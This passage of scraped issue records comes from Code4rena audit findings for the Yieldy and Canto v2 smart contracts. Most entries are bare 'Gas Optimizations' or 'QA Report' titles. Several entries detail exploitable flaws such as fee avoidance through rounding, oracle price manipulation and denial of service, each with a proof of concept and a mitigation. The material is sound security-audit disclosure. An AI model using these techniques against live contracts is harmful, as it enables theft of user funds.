"QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/65", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/62", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/58", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Incorrect withdrawal requested", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/56", "labels": ["bug", "2 (Med Risk)"], "target": "2022-06-yieldy-findings", "body": "Incorrect withdrawal requested"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/54", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/53", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Incorrect rebase percentage calculation", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/52", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-yieldy-findings", "body": "Incorrect rebase percentage calculation"}, {"title": "Staking: rebase() does not rebase according to the status of the current epoch.", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/49", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-yieldy-findings", "body": "Staking: rebase() does not rebase according to the status of the current epoch."}, {"title": "MINIMUM_LIQUIDITY checks missing - Bringing Liquidity below required min", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/48", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-yieldy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-yieldy/blob/main/src/contracts/LiquidityReserve.sol#L161 # Vulnerability details ## Impact Whale who provided most liquidity to the contract can simply use removeLiquidity function and can remove all of his liquidity. This can leave the residual liquidity to be less than MINIMUM_LIQUIDITY which is incorrect ## Proof of Concept 1. Whale A provided initial liquidity plus more liquidity using enableLiquidityReserve and addLiquidity function 2. There are other small liquidity providers as well 3. Now Whale A decides to remove all the liquidity provided 4. This means after liquidity removal the balance liquidity will even drop below MINIMUM_LIQUIDITY which is incorrect ## Recommended Mitigation Steps Add below check ``` require( IERC20Upgradeable(stakingToken).balanceOf(address(this)) - MINIMUM_LIQUIDITY >= amountToWithdraw, \"Not enough funds\" ); ``` "}, {"title": "MINTER_BURNER_ROLE can burn any amount of Yieldy from an arbitrary address", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/43", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-yieldy-findings", "body": "MINTER_BURNER_ROLE can burn any amount of Yieldy from an arbitrary address"}, {"title": "Used deprecated methods", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/42", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-06-yieldy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-yieldy/blob/8400e637d9259b7917bde259a5a2fbbeb5946d45/src/contracts/Yieldy.sol#L38 https://github.com/code-423n4/2022-06-yieldy/blob/8400e637d9259b7917bde259a5a2fbbeb5946d45/src/contracts/Yieldy.sol#L61-L62 # Vulnerability details ## Impact A deprecated method is used in `Yieldy` contract. ## Proof of Concept In `Yieldy` contract the method `_setupRole` is used, and and it is explicitly marked as deprecated by OpenZeppelin. > * NOTE: This function is deprecated in favor of {_grantRole}. Affected source code: - [Yieldy.sol#L38](https://github.com/code-423n4/2022-06-yieldy/blob/8400e637d9259b7917bde259a5a2fbbeb5946d45/src/contracts/Yieldy.sol#L38) - [Yieldy.sol#L61-L62](https://github.com/code-423n4/2022-06-yieldy/blob/8400e637d9259b7917bde259a5a2fbbeb5946d45/src/contracts/Yieldy.sol#L61-L62) ## Recommended Mitigation Steps - The method `_setupRole` must be changed to `_grantRole`. "}, {"title": "Denial of Service by wrong `BatchRequests.removeAddress` logic", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/38", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-yieldy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-yieldy/blob/34774d3f5e9275978621fd20af4fe466d195a88b/src/contracts/BatchRequests.sol#L93 https://github.com/code-423n4/2022-06-yieldy/blob/34774d3f5e9275978621fd20af4fe466d195a88b/src/contracts/BatchRequests.sol#L57 https://github.com/code-423n4/2022-06-yieldy/blob/34774d3f5e9275978621fd20af4fe466d195a88b/src/contracts/BatchRequests.sol#L37 # Vulnerability details ## Impact The `BatchRequests.removeAddress` logic is wrong and it will produce a denial of service. ## Proof of Concept Removing the element from the array is done using the `delete` statement, but this is not the proper way to remove an entry from an array, it will just set that position to `address(0)`. Append dummy data: - `addAddress('0x0000000000000000000000000000000000000001')` - `addAddress('0x0000000000000000000000000000000000000002')` - `addAddress('0x0000000000000000000000000000000000000003')` - `getAddresses()` => `address[]: 0x0000000000000000000000000000000000000001,0x0000000000000000000000000000000000000002,0x0000000000000000000000000000000000000003` Remove address: - `removeAddress(0x0000000000000000000000000000000000000002)` (or `0x0000000000000000000000000000000000000003`) - `getAddresses()` => `address[]: 0x0000000000000000000000000000000000000001,0x0000000000000000000000000000000000000000,0x0000000000000000000000000000000000000003` Service is denied because it will try to call `canBatchContracts` to `address(0)`. ## Recommended Mitigation Steps - To remove an entry in an array you have to use `pop` and move the last element to the removed entry position. "}, {"title": "Unsecure `transferFrom`", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/36", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "sponsor disputed"], "target": "2022-06-yieldy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-yieldy/blob/8400e637d9259b7917bde259a5a2fbbeb5946d45/src/contracts/Yieldy.sol#L212 # Vulnerability details ## Impact The security of the `Yieldy` contract is delegated to the compiler used. ## Proof of Concept The `allowance` of an account does not have to reflect the real balance of an account, however in the `transferFrom` method, it is the value that is checked in order to verify that the user has enough balance to make the transfer. ```javascript function transferFrom( address _from, address _to, uint256 _value ) public override returns (bool) { require(_allowances[_from][msg.sender] >= _value, \"Allowance too low\"); ``` However, the real balance of the `Yieldy` contract is based on the calculation made by the `creditsForTokenBalance` method, so an underflow could be made in the subtraction of the balance of the `from` account. ```javascript uint256 creditAmount = creditsForTokenBalance(_value); creditBalances[_from] = creditBalances[_from] - creditAmount; creditBalances[_to] = creditBalances[_to] + creditAmount; emit Transfer(_from, _to, _value); ``` This means that the security of the contract is delegated to the checks added by the compiler depending on the pragma used, it must be taken into account that these checks may appear and disappear in future versions of the compiler, so they must be checked at the level of smart contracts. Affected source code: - [Yieldy.sol#L212](https://github.com/code-423n4/2022-06-yieldy/blob/8400e637d9259b7917bde259a5a2fbbeb5946d45/src/contracts/Yieldy.sol#L212) ## Recommended Mitigation Steps - Check that the from account has a `creditAmount` balance. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/35", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/34", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Users of Migration.sol may forfeit rebase rewards", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/33", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-yieldy-findings", "body": "Users of Migration.sol may forfeit rebase rewards"}, {"title": "moveFundsToUpgradedContract() will fail because of instantUnstake fee", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/32", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "moveFundsToUpgradedContract() will fail because of instantUnstake fee"}, {"title": "Rebases can be frontrun with very little token downtime even when warmUpPeriod > 0", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/31", "labels": ["bug", "2 (Med Risk)"], "target": "2022-06-yieldy-findings", "body": "Rebases can be frontrun with very little token downtime even when warmUpPeriod > 0"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/30", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Withdrawals initiated after cycle withdrawal request won't be withdrawn in the correct cycle", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/29", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-yieldy-findings", "body": "Withdrawals initiated after cycle withdrawal request won't be withdrawn in the correct cycle"}, {"title": "User can initiate withdraw for previous epoch if rebase hasn't been called since end of epoch", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/28", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-yieldy-findings", "body": "User can initiate withdraw for previous epoch if rebase hasn't been called since end of epoch"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/24", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/23", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/21", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/20", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/19", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/18", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/17", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/16", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/15", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/11", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/10", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "instantUnstake fee can be avoided", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/9", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-yieldy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-yieldy/blob/524f3b83522125fb7d4677fa7a7e5ba5a2c0fe67/src/contracts/LiquidityReserve.sol#L196 # Vulnerability details ## Impact Users can utilize the `instantUnstake` function without paying the liquidity provider fee using rounding errors in the fee calculation. This attack only allows for a relatively small amount of tokens to be unstaked in each call, so is likely not feasible on mainnet. However, on low-cost L2s and for tokens with a small decimal precision it is likely a feasible workaround. ## Proof of Concept The `instantUnstake` fee is handled by sending the user back `amount - fee`. We can work around the fee by unstaking small amounts (`amount < BASIS_POINTS / fee`) in a loop until reaching the desired amount. ## Tools Used N/A ## Recommended Mitigation Steps Avoid using subtraction to calculate the fee as this causes the fee to be rounded down rather than the amount. I'd propose calculating amount less fee using a muldiv operation over (1 - fee). In this case, the fee is effectively rounded up instead of down, so it can never be 0 unless fee is 0. Uniswapv2 uses a similar solution for their LP fee: https://github.com/Uniswap/v2-core/blob/8b82b04a0b9e696c0e83f8b2f00e5d7be6888c79/contracts/UniswapV2Pair.sol#L180-L182 It might look like the following: ``` uint256 amountMinusFee = amount * (BASIS_POINTS - fee) / BASIS_POINTS ``` "}, {"title": "Reentrancy vulnerability Staking.sol", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/8", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "Reentrancy vulnerability Staking.sol"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/6", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-yieldy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/4", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-yieldy-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-06-yieldy-findings/issues/1", "labels": [], "target": "2022-06-yieldy-findings", "body": "Agreements & Disclosures"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/176", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/174", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Admin Can Broke All Functionality Through Weth Address", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/173", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-06-canto-v2-findings", "body": "Admin Can Broke All Functionality Through Weth Address"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/172", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/171", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/170", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/168", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/167", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/166", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/165", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/164", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/163", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/162", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/161", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/160", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/158", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/157", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/156", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/155", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "The LP pair underlying price quote could be manipulated", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/152", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-v2-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market-v2/blob/ea5840de72eab58bec837bb51986ac73712fcfde/contracts/Stableswap/BaseV1-periphery.sol#L522-L526 https://github.com/Plex-Engineer/lending-market-v2/blob/ea5840de72eab58bec837bb51986ac73712fcfde/contracts/Stableswap/BaseV1-periphery.sol#L198-L217 # Vulnerability details # The LP pair underlying price quote could be manipulated ## Impact The underlying price for LP pool pair can be manipulated. This kind of price mainpulation happened before, can be found here: [Warp Fincance event](https://rekt.news/warp-finance-rekt/). Whick may lead to the exploit of the pool by a malicious user. ## Proof of Concept file: lending-market-v2/contracts/Stableswap/BaseV1-periphery.sol 522-526\uff0c 198-217: ``` uint price0 = (token0 != USDC) ? IBaseV1Pair(pairFor(USDC, token0, stable0)).quote(token0, 1, 8) : 1; uint price1 = (token1 != USDC) ? IBaseV1Pair(pairFor(USDC, token1, stable1)).quote(token1, 1, 8) : 1; // how much of each asset is 1 LP token redeemable for (uint amt0, uint amt1) = quoteRemoveLiquidity(token0, token1, stablePair, 1); price = amt0 * price0 + amt1 * price1; function quoteRemoveLiquidity( address tokenA, address tokenB, bool stable, uint liquidity ) public view returns (uint amountA, uint amountB) { // create the pair if it doesn\"t exist yet address _pair = IBaseV1Factory(factory).getPair(tokenA, tokenB, stable); if (_pair == address(0)) { return (0,0); } (uint reserveA, uint reserveB) = getReserves(tokenA, tokenB, stable); uint _totalSupply = erc20(_pair).totalSupply(); amountA = liquidity * reserveA / _totalSupply; // using balances ensures pro-rata distribution amountB = liquidity * reserveB / _totalSupply; // using balances ensures pro-rata distribution } ``` The price of the LP pair is determined by the TVL of the pool, given by: `amt0 * price0 + amt1 * price1`. However, when a malicious user dumps large amount of any token into the pool, the whole TVL will be significantly increased, which leads to inproper calculation of the price. ## Tools Used mannual analysis ## Recommended Mitigation Steps A differenct approach to calculate the LP price can be found [here](https://cmichel.io/pricing-lp-tokens/). "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/150", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/146", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/145", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "Potential overflow at ``updateBaseRate()`` function", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/142", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-canto-v2-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market-v2/blob/443a8c0fed3c5018e95f3881a31b81a555c42b2d/contracts/NoteInterest.sol#L145-L147 # Vulnerability details ## Impact When casting to ``int`` from ``uint``, the overflow might happen. ## Proof of Concept https://github.com/Plex-Engineer/lending-market-v2/blob/443a8c0fed3c5018e95f3881a31b81a555c42b2d/contracts/NoteInterest.sol#L145-L147 ``` uint twapMantissa = oracle.getUnderlyingPrice(cNote); // returns price as mantissa //uint ir = (1 - twapMantissa).mul(adjusterCoefficient).add(baseRatePerYear); int diff = BASE - int(twapMantissa); //possible annoyance if 1e18 - twapMantissa > 2**255, differ ``` ``int(twapMantissa)`` can overflow depending on the value of ``uint twapMantissa``. Even if this is not expected, handling this case should be good. ## Tools Used Static analysis ## Recommended Mitigation Steps Consider using the logic of ``toInt256`` provided by OpenZeppelin. https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeCast.sol#L1130-L1134 "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/139", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "Underlying asset price oracle for CToken in BaseV1-periphery is inaccuarte", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/134", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-v2-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market-v2/blob/443a8c0fed3c5018e95f3881a31b81a555c42b2d/contracts/Stableswap/BaseV1-periphery.sol#L489 # Vulnerability details ## Impact Detailed description of the impact of this finding. Underlying asset price oracle for CToken in BaseV1-periphery is inaccuarte ## Proof of Concept Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. ``` function getUnderlyingPrice(CToken ctoken) external override view returns(uint price) { IBaseV1Pair pair; uint8 stable; bool stablePair; address underlying; if (compareStrings(ctoken.symbol(), \"cCANTO\")) { stable = 0; underlying = address(wcanto); } //set price statically to 1 when the Comptroller is retrieving Price else if (compareStrings(ctoken.symbol(), \"cNOTE\") && msg.sender == Comptroller) { return 1; // Note price is fixed to 1 } ``` we should not be return 1. 1 is 1 wei. we should be 10 ** 18 ## Tools Used VIM ## Recommended Mitigation Steps we can return 10 ** 18 "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/132", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/130", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/129", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/127", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/126", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/125", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Oracle periodSize is very low allowing the TWAP price to be easily manipulated", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/124", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-v2-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market-v2/blob/ea5840de72eab58bec837bb51986ac73712fcfde/contracts/Stableswap/BaseV1-core.sol#L72 # Vulnerability details ## Impact TWAP oracle easily manipulated ## Proof of Concept periodSize is set to 0 meaning that the oracle will take a new observation every single block, which would allow an attacker to easily flood the TWAP oracle and manipulate the price ## Tools Used ## Recommended Mitigation Steps Increase periodSize to be greater than 0, 1800 is typically standard "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/122", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/121", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/119", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/117", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/113", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Non view function is called with staticcall in `CErc20Delegator`", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/112", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-canto-v2-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market-v2/blob/443a8c0fed3c5018e95f3881a31b81a555c42b2d/contracts/CErc20Delegator.sol#L237 https://github.com/Plex-Engineer/lending-market-v2/blob/443a8c0fed3c5018e95f3881a31b81a555c42b2d/contracts/CErc20Delegator.sol#L246 # Vulnerability details ## Impact When using CToken implementation with CErc20Delegator, the functions `borrowRatePerBlock` and `supplyRatePerBlock` will revert when the underlying functions try to update some states. ## Detail The v1 of [borrowRatePerBlock](https://github.com/Plex-Engineer/lending-market-v2/blob/443a8c0fed3c5018e95f3881a31b81a555c42b2d/contracts/CToken.sol#L208) and [supplyRatePerBlock](https://github.com/Plex-Engineer/lending-market-v2/blob/443a8c0fed3c5018e95f3881a31b81a555c42b2d/contracts/CToken.sol#L216) were view functions, but they are not anymore. The `CErc20Delegator` is still using `delegateToViewImplementation` for those functions. Those functions can be used, as long as the implementation does not update any state variables, i.e. [the block number increase since the last update is less or equal to the `updateFrequency`](https://github.com/Plex-Engineer/lending-market-v2/blob/443a8c0fed3c5018e95f3881a31b81a555c42b2d/contracts/NoteInterest.sol#L141). However, when these functions are called after sufficient blocks are mined, they are going to revert. Although one can still call the implementation using [`delegateToImplementation`](https://github.com/Plex-Engineer/lending-market-v2/blob/443a8c0fed3c5018e95f3881a31b81a555c42b2d/contracts/CErc20Delegator.sol#L437), it is not a good usability, especially if those functions are used for external user interface. ## Proof Of Concept [gist for the test](https://gist.github.com/zzzitron/37fb99cebed786b4c983d20a76e8793e#file-2022-06-newblockchain-v2-poc-ctoken-test-ts-L49-L62) The gist shows a simple test. It calls `borrowRatePerBlock` and `supplyRatePerBlock` first time, it suceeds. Then, it mines for more than 300 times, which is the `updateFrequency` parameter. Then it calls again then fails. Notes on the test file: - The setup is taken from `tests/Treasury/Accountant.test.ts` - using `solidity` from ethereum-waffle for chai to use `reverted` ``` // in hardhat.config.js import chai from \"chai\"; import { solidity } from \"ethereum-waffle\"; chai.use(solidity); ``` ## Tools Used hardhat ## Recommended Mitigation Steps Instead of using `delegateToViewImplementation` use `delegateToImplementation`. Alternatively, implement view functions to query these rates in `NoteInterest.sol` and `CToken.sol`. It will enable to query the rates without spending gas. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/111", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/106", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/103", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/100", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-v2-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/93", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-v2-findings", "body": "Gas Optimizations"}, {"title": "A cap is needed on the amount of Note than can be borrowed", "html_url": "https://github.com/code-423n4/2022-06-canto-v2-findings/issues/92", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": 